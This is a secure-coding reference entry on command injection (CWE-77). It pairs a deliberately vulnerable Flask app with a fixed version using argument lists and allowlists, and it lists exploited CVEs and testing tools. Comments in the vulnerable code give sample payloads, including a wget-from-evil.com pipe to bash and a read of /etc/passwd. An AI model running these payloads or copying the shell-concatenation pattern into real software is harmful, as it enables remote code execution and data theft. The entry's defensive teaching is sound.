Improper Neutralization of Special Elements used in a Command ('Command Injection')

Description

Command Injection is a critical vulnerability that occurs when software constructs all or part of a command using externally-influenced input from an upstream component, but fails to neutralize or incorrectly neutralizes special elements that could modify the intended command when executed. This allows attackers to inject malicious commands that are executed by the underlying system with the same privileges as the vulnerable application. Command injection differs from OS command injection (CWE-78) in that it encompasses injection into any command interpreter, not just operating system shells. Attackers can exploit this to execute arbitrary code, access sensitive data, modify system configurations, or pivot to attack other systems on the network.

Risk

Command injection represents one of the most severe security vulnerabilities, consistently ranking among the most dangerous software weaknesses. Successful exploitation grants attackers the ability to execute arbitrary commands with the application's privileges, often leading to complete system compromise. Attackers can steal sensitive data, install backdoors, deploy ransomware, or use the compromised system as a launching point for attacks against internal networks. The prevalence of this vulnerability in network devices, web applications, and IoT systems means that exploitation often provides access to critical infrastructure. According to CISA, exploits of software defects including command injection represent one of every three successful attacks, making this a primary target for both opportunistic and targeted attacks.

Solution

Avoid constructing commands from user input whenever possible. Use APIs, libraries, or frameworks that provide parameterized interfaces where commands and data are strictly separated, such as using prepared statements for database queries or subprocess modules with argument arrays instead of shell strings. When shell commands are necessary, implement strict input validation using allowlists of permitted characters or values rather than denylists. Escape or encode all special shell characters including semicolons, pipes, ampersands, backticks, dollar signs, and newlines before incorporating user input into commands. Run applications with minimum necessary privileges to limit impact if injection occurs. Consider using application sandboxing and monitoring for suspicious command execution patterns.

Common Consequences

ImpactDetails
ConfidentialityScope: Confidentiality

Attackers can inject commands to read sensitive files, dump database contents, access credentials, or exfiltrate data from the compromised system.
IntegrityScope: Integrity

Injected commands can modify system configurations, alter data, install malware, create backdoor accounts, or corrupt critical files.
AvailabilityScope: Availability

Attackers can execute commands that terminate processes, delete files, exhaust resources, or deploy ransomware causing denial of service.
Access ControlScope: Access Control, Full System Compromise

Command injection typically leads to complete system compromise with the ability to execute any operation the application can perform.

Example Code + Solution Code

The following example demonstrates a vulnerable Python web application that executes system commands based on user input:

Vulnerable Code

import os
from flask import Flask, request

app = Flask(__name__)

@app.route('/ping')
def ping_host():
    # VULNERABLE: User input directly concatenated into shell command
    host = request.args.get('host', '')

    # Attacker can use: host=8.8.8.8; cat /etc/passwd
    # Or: host=8.8.8.8 && wget http://evil.com/shell.sh | bash
    # Or: host=$(whoami)
    command = f"ping -c 3 {host}"
    result = os.popen(command).read()

    return f"<pre>{result}</pre>"

@app.route('/lookup')
def dns_lookup():
    # VULNERABLE: Shell=True with user-controlled input
    domain = request.args.get('domain', '')

    # os.system() always uses shell, making injection easy
    os.system(f"nslookup {domain} > /tmp/lookup.txt")

    with open('/tmp/lookup.txt', 'r') as f:
        return f"<pre>{f.read()}</pre>"

if __name__ == '__main__':
    app.run()

Both functions are vulnerable to command injection. An attacker can append shell metacharacters like ;, &&, |, or $() to inject additional commands that execute on the server.

Fixed Code

import subprocess
import re
import shlex
from flask import Flask, request, abort

app = Flask(__name__)

# Allowlist patterns for valid input
HOSTNAME_PATTERN = re.compile(r'^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$')
IP_PATTERN = re.compile(r'^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$')

def is_valid_host(host):
    """Validate host is a valid IP address or hostname."""
    if not host or len(host) > 253:
        return False
    return bool(IP_PATTERN.match(host) or HOSTNAME_PATTERN.match(host))

@app.route('/ping')
def ping_host():
    host = request.args.get('host', '')

    # Strict input validation using allowlist
    if not is_valid_host(host):
        abort(400, 'Invalid host format')

    try:
        # Use subprocess with argument list - NO SHELL
        # Arguments are passed directly to the program, not through shell
        result = subprocess.run(
            ['ping', '-c', '3', host],
            capture_output=True,
            text=True,
            timeout=10
        )
        output = result.stdout if result.returncode == 0 else result.stderr
        return f"<pre>{output}</pre>"

    except subprocess.TimeoutExpired:
        abort(504, 'Operation timed out')
    except Exception as e:
        app.logger.error(f"Ping error: {e}")
        abort(500, 'Internal error')

@app.route('/lookup')
def dns_lookup():
    domain = request.args.get('domain', '')

    # Validate domain format
    if not is_valid_host(domain):
        abort(400, 'Invalid domain format')

    try:
        # Use subprocess.run with argument list instead of os.system
        # shell=False (default) prevents shell interpretation
        result = subprocess.run(
            ['nslookup', domain],
            capture_output=True,
            text=True,
            timeout=10
        )
        return f"<pre>{result.stdout}</pre>"

    except subprocess.TimeoutExpired:
        abort(504, 'Operation timed out')
    except Exception as e:
        app.logger.error(f"Lookup error: {e}")
        abort(500, 'Internal error')

# For cases where shell is absolutely required (avoid if possible):
@app.route('/example-with-escaping')
def example_with_escaping():
    user_input = request.args.get('param', '')

    # Validate input format first
    if not is_valid_host(user_input):
        abort(400, 'Invalid input')

    # If shell is required, use shlex.quote() to escape input
    # This should be a last resort, argument lists are safer
    safe_input = shlex.quote(user_input)

    result = subprocess.run(
        f"echo {safe_input}",
        shell=True,
        capture_output=True,
        text=True,
        timeout=5
    )
    return f"<pre>{result.stdout}</pre>"

if __name__ == '__main__':
    app.run()

The fixed code uses subprocess.run() with argument lists (shell=False by default) which passes arguments directly to the program without shell interpretation, making injection impossible. Input is validated against strict allowlist patterns. When shell execution is unavoidable, shlex.quote() properly escapes special characters, though argument lists are strongly preferred.


Exploited in the Wild

Palo Alto Networks GlobalProtect Campaign (Enterprise Networks, 2024)

CVE-2024-3400, a critical command injection vulnerability in Palo Alto Networks PAN-OS GlobalProtect feature, was actively exploited by threat actors to gain root access to firewalls protecting enterprise networks. The vulnerability in the SessionID handling allowed unauthenticated attackers to execute arbitrary OS commands. Nation-state actors exploited this vulnerability to deploy backdoors and exfiltrate data from government and corporate networks globally, prompting an emergency CISA advisory.

Ivanti Connect Secure Mass Exploitation (Government & Enterprise, 2024)

CVE-2024-21887, a command injection vulnerability in Ivanti Connect Secure and Policy Secure gateways, was exploited in widespread attacks targeting government agencies and private sector organizations. Attackers chained this vulnerability with an authentication bypass to achieve unauthenticated remote code execution. CISA issued emergency directives as the attacks compromised VPN appliances used to protect sensitive network perimeters, with Chinese threat actors identified as primary exploiters.

Cisco NX-OS Network Device Compromise (Critical Infrastructure, 2024)

CVE-2024-20399, a command injection vulnerability in Cisco NX-OS Software CLI, was exploited by the Velvet Ant threat group to compromise Cisco Nexus switches in critical infrastructure networks. The vulnerability allowed authenticated administrators (often through previously stolen credentials) to execute commands as root on the underlying Linux operating system. Attackers used this access to deploy custom malware and establish persistent access to network infrastructure.


Tools to test/exploit

  • Commix — automated command injection exploitation tool that detects and exploits command injection vulnerabilities across various techniques including time-based, file-based, and direct output methods.

  • Burp Suite — web application security testing platform with active scanning for command injection and manual testing capabilities for crafting injection payloads.

  • PayloadsAllTheThings — comprehensive collection of command injection payloads for various operating systems, shells, and bypass techniques.


CVE Examples

  • CVE-2024-3400 — Palo Alto Networks PAN-OS GlobalProtect command injection allowing unauthenticated root access to firewalls.

  • CVE-2024-21887 — Ivanti Connect Secure command injection in web component enabling authenticated remote code execution.

  • CVE-2024-20399 — Cisco NX-OS CLI command injection allowing root-level command execution on network switches.

  • CVE-2021-44228 — Log4Shell vulnerability enabling command injection through JNDI lookup in log messages.


References

  1. MITRE. "CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')." Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/77.html

  2. OWASP. "Command Injection." OWASP Foundation. https://owasp.org/www-community/attacks/Command_Injection

  3. HackTricks. "Command Injection." https://book.hacktricks.xyz/pentesting-web/command-injection

  4. CISA. "Secure by Design Alert: Eliminating OS Command Injection Vulnerabilities." https://www.cisa.gov/news-events/alerts/2024/07/10/cisa-and-fbi-release-secure-design-alert-eliminating-os-command-injection-vulnerabilities